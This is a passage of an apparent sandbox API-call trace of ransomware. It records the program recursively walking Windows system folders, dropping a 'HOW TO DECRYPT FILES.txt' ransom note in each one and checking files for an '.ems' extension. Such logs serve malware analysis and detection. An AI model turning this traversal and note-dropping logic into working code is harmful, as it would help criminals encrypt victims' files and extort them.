lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Servb00a6512#\\e70d84ed9e6a348fd66d7b67dcdfcb94\\System.ServiceModel.ServiceMoniker40.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Servb00a6512#\\e70d84ed9e6a348fd66d7b67dcdfcb94\\System.ServiceModel.ServiceMoniker40.ni.dll" [0120.970] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Servb00a6512#\\e70d84ed9e6a348fd66d7b67dcdfcb94\\System.ServiceModel.ServiceMoniker40.ni.dll", pszSpec="*.ems") returned 0 [0120.970] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab245610, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xab245610, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xab245610, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x29c, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.ServiceModel.ServiceMoniker40.ni.dll.aux", cAlternateFileName="SYSTEM~1.AUX")) returned 1 [0120.970] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0120.970] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.ServiceModel.ServiceMoniker40.ni.dll.aux") returned -1 [0120.970] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.ServiceModel.ServiceMoniker40.ni.dll.aux") returned -1 [0120.970] lstrcmpiA (lpString1="", lpString2="System.ServiceModel.ServiceMoniker40.ni.dll.aux") returned -1 [0120.970] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Servb00a6512#\\e70d84ed9e6a348fd66d7b67dcdfcb94\\System.ServiceModel.ServiceMoniker40.ni.dll") returned="System.ServiceModel.ServiceMoniker40.ni.dll" [0120.970] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Servb00a6512#\\e70d84ed9e6a348fd66d7b67dcdfcb94\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Servb00a6512#\\e70d84ed9e6a348fd66d7b67dcdfcb94\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Servb00a6512#\\e70d84ed9e6a348fd66d7b67dcdfcb94\\" [0120.970] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Servb00a6512#\\e70d84ed9e6a348fd66d7b67dcdfcb94\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Servb00a6512#\\e70d84ed9e6a348fd66d7b67dcdfcb94\\") returned="" [0120.970] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Servb00a6512#\\e70d84ed9e6a348fd66d7b67dcdfcb94\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Servb00a6512#\\e70d84ed9e6a348fd66d7b67dcdfcb94\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Servb00a6512#\\e70d84ed9e6a348fd66d7b67dcdfcb94\\HOW TO DECRYPT FILES.txt" [0120.971] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Servb00a6512#\\e70d84ed9e6a348fd66d7b67dcdfcb94\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.servb00a6512#\\e70d84ed9e6a348fd66d7b67dcdfcb94\\how to decrypt files.txt")) returned 0x20 [0120.971] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Servb00a6512#\\e70d84ed9e6a348fd66d7b67dcdfcb94\\", lpString2="System.ServiceModel.ServiceMoniker40.ni.dll.aux" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Servb00a6512#\\e70d84ed9e6a348fd66d7b67dcdfcb94\\System.ServiceModel.ServiceMoniker40.ni.dll.aux") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Servb00a6512#\\e70d84ed9e6a348fd66d7b67dcdfcb94\\System.ServiceModel.ServiceMoniker40.ni.dll.aux" [0120.971] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Servb00a6512#\\e70d84ed9e6a348fd66d7b67dcdfcb94\\System.ServiceModel.ServiceMoniker40.ni.dll.aux", pszSpec="*.ems") returned 0 [0120.971] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab245610, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xab245610, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xab245610, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x29c, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.ServiceModel.ServiceMoniker40.ni.dll.aux", cAlternateFileName="SYSTEM~1.AUX")) returned 0 [0120.971] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0120.971] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab245610, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xab245610, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xab245610, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="e70d84ed9e6a348fd66d7b67dcdfcb94", cAlternateFileName="E70D84~1")) returned 0 [0120.972] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0120.972] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8cae3d90, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x8cae3d90, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x8cae3d90, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.Servd1dec626#", cAlternateFileName="SYSTEM~2.SER")) returned 1 [0120.972] lstrcmpA (lpString1=".", lpString2="System.Servd1dec626#") returned -1 [0120.972] lstrcmpA (lpString1="..", lpString2="System.Servd1dec626#") returned -1 [0120.972] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\*.*") returned="*.*" [0120.972] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\", lpString2="System.Servd1dec626#" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Servd1dec626#") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Servd1dec626#" [0120.972] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Servd1dec626#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8cae3d90, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x8cae3d90, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x8cae3d90, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0121.044] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0121.044] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8cae3d90, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x8cae3d90, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x8cae3d90, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0121.044] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0121.044] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0121.044] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8cae3d90, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x8cb09ef0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x8cb09ef0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="845cf66dea3fcdc050258be47067f543", cAlternateFileName="845CF6~1")) returned 1 [0121.044] lstrcmpA (lpString1=".", lpString2="845cf66dea3fcdc050258be47067f543") returned -1 [0121.044] lstrcmpA (lpString1="..", lpString2="845cf66dea3fcdc050258be47067f543") returned -1 [0121.044] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Servd1dec626#\\*.*") returned="*.*" [0121.044] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Servd1dec626#\\", lpString2="845cf66dea3fcdc050258be47067f543" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Servd1dec626#\\845cf66dea3fcdc050258be47067f543") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Servd1dec626#\\845cf66dea3fcdc050258be47067f543" [0121.045] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Servd1dec626#\\845cf66dea3fcdc050258be47067f543\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8cae3d90, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x8cb09ef0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x8cb09ef0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0121.048] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0121.048] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8cae3d90, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x8cb09ef0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x8cb09ef0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0121.049] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0121.049] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0121.049] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8cae3d90, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x8cae3d90, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x8cb09ef0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0xef600, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.ServiceModel.Internals.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0121.049] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0121.049] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.ServiceModel.Internals.ni.dll") returned -1 [0121.049] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.ServiceModel.Internals.ni.dll") returned -1 [0121.049] lstrcmpiA (lpString1="", lpString2="System.ServiceModel.Internals.ni.dll") returned -1 [0121.049] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Servd1dec626#\\845cf66dea3fcdc050258be47067f543\\*.*") returned="*.*" [0121.049] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Servd1dec626#\\845cf66dea3fcdc050258be47067f543\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Servd1dec626#\\845cf66dea3fcdc050258be47067f543\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Servd1dec626#\\845cf66dea3fcdc050258be47067f543\\" [0121.049] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Servd1dec626#\\845cf66dea3fcdc050258be47067f543\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Servd1dec626#\\845cf66dea3fcdc050258be47067f543\\") returned="" [0121.049] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Servd1dec626#\\845cf66dea3fcdc050258be47067f543\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Servd1dec626#\\845cf66dea3fcdc050258be47067f543\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Servd1dec626#\\845cf66dea3fcdc050258be47067f543\\HOW TO DECRYPT FILES.txt" [0121.049] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Servd1dec626#\\845cf66dea3fcdc050258be47067f543\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.servd1dec626#\\845cf66dea3fcdc050258be47067f543\\how to decrypt files.txt")) returned 0xffffffff [0121.049] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Servd1dec626#\\845cf66dea3fcdc050258be47067f543\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.servd1dec626#\\845cf66dea3fcdc050258be47067f543\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0121.052] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0121.052] CloseHandle (hObject=0x90) returned 1 [0121.053] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Servd1dec626#\\845cf66dea3fcdc050258be47067f543\\", lpString2="System.ServiceModel.Internals.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Servd1dec626#\\845cf66dea3fcdc050258be47067f543\\System.ServiceModel.Internals.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Servd1dec626#\\845cf66dea3fcdc050258be47067f543\\System.ServiceModel.Internals.ni.dll" [0121.053] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Servd1dec626#\\845cf66dea3fcdc050258be47067f543\\System.ServiceModel.Internals.ni.dll", pszSpec="*.ems") returned 0 [0121.053] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8cb09ef0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x8cb09ef0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x8cb09ef0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x250, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.ServiceModel.Internals.ni.dll.aux", cAlternateFileName="SYSTEM~1.AUX")) returned 1 [0121.053] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0121.053] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.ServiceModel.Internals.ni.dll.aux") returned -1 [0121.053] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.ServiceModel.Internals.ni.dll.aux") returned -1 [0121.053] lstrcmpiA (lpString1="", lpString2="System.ServiceModel.Internals.ni.dll.aux") returned -1 [0121.053] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Servd1dec626#\\845cf66dea3fcdc050258be47067f543\\System.ServiceModel.Internals.ni.dll") returned="System.ServiceModel.Internals.ni.dll" [0121.053] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Servd1dec626#\\845cf66dea3fcdc050258be47067f543\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Servd1dec626#\\845cf66dea3fcdc050258be47067f543\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Servd1dec626#\\845cf66dea3fcdc050258be47067f543\\" [0121.053] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Servd1dec626#\\845cf66dea3fcdc050258be47067f543\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Servd1dec626#\\845cf66dea3fcdc050258be47067f543\\") returned="" [0121.054] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Servd1dec626#\\845cf66dea3fcdc050258be47067f543\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Servd1dec626#\\845cf66dea3fcdc050258be47067f543\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Servd1dec626#\\845cf66dea3fcdc050258be47067f543\\HOW TO DECRYPT FILES.txt" [0121.054] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Servd1dec626#\\845cf66dea3fcdc050258be47067f543\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.servd1dec626#\\845cf66dea3fcdc050258be47067f543\\how to decrypt files.txt")) returned 0x20 [0121.054] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Servd1dec626#\\845cf66dea3fcdc050258be47067f543\\", lpString2="System.ServiceModel.Internals.ni.dll.aux" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Servd1dec626#\\845cf66dea3fcdc050258be47067f543\\System.ServiceModel.Internals.ni.dll.aux") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Servd1dec626#\\845cf66dea3fcdc050258be47067f543\\System.ServiceModel.Internals.ni.dll.aux" [0121.054] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Servd1dec626#\\845cf66dea3fcdc050258be47067f543\\System.ServiceModel.Internals.ni.dll.aux", pszSpec="*.ems") returned 0 [0121.054] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8cb09ef0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x8cb09ef0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x8cb09ef0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x250, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.ServiceModel.Internals.ni.dll.aux", cAlternateFileName="SYSTEM~1.AUX")) returned 0 [0121.054] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0121.054] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8cae3d90, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x8cb09ef0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x8cb09ef0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="845cf66dea3fcdc050258be47067f543", cAlternateFileName="845CF6~1")) returned 0 [0121.054] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0121.055] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa5b63310, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa5b63310, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa5b63310, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.Servf73e6522#", cAlternateFileName="SY2C55~1.SER")) returned 1 [0121.055] lstrcmpA (lpString1=".", lpString2="System.Servf73e6522#") returned -1 [0121.055] lstrcmpA (lpString1="..", lpString2="System.Servf73e6522#") returned -1 [0121.055] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\*.*") returned="*.*" [0121.055] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\", lpString2="System.Servf73e6522#" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Servf73e6522#") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Servf73e6522#" [0121.055] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Servf73e6522#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa5b63310, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa5b63310, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa5b63310, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0121.058] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0121.058] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa5b63310, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa5b63310, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa5b63310, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0121.058] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0121.058] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0121.058] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa5b63310, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa5b63310, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa5b63310, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="5b410f7aa83eb57fe1ff51f926e6a72f", cAlternateFileName="5B410F~1")) returned 1 [0121.058] lstrcmpA (lpString1=".", lpString2="5b410f7aa83eb57fe1ff51f926e6a72f") returned -1 [0121.058] lstrcmpA (lpString1="..", lpString2="5b410f7aa83eb57fe1ff51f926e6a72f") returned -1 [0121.058] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Servf73e6522#\\*.*") returned="*.*" [0121.058] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Servf73e6522#\\", lpString2="5b410f7aa83eb57fe1ff51f926e6a72f" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Servf73e6522#\\5b410f7aa83eb57fe1ff51f926e6a72f") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Servf73e6522#\\5b410f7aa83eb57fe1ff51f926e6a72f" [0121.059] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Servf73e6522#\\5b410f7aa83eb57fe1ff51f926e6a72f\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa5b63310, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa5b63310, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa5b63310, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0121.062] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0121.062] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa5b63310, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa5b63310, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa5b63310, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0121.062] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0121.062] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0121.062] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5b3d1b0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa5b3d1b0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa5b89470, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x15d800, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.ServiceModel.Web.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0121.062] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0121.062] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", 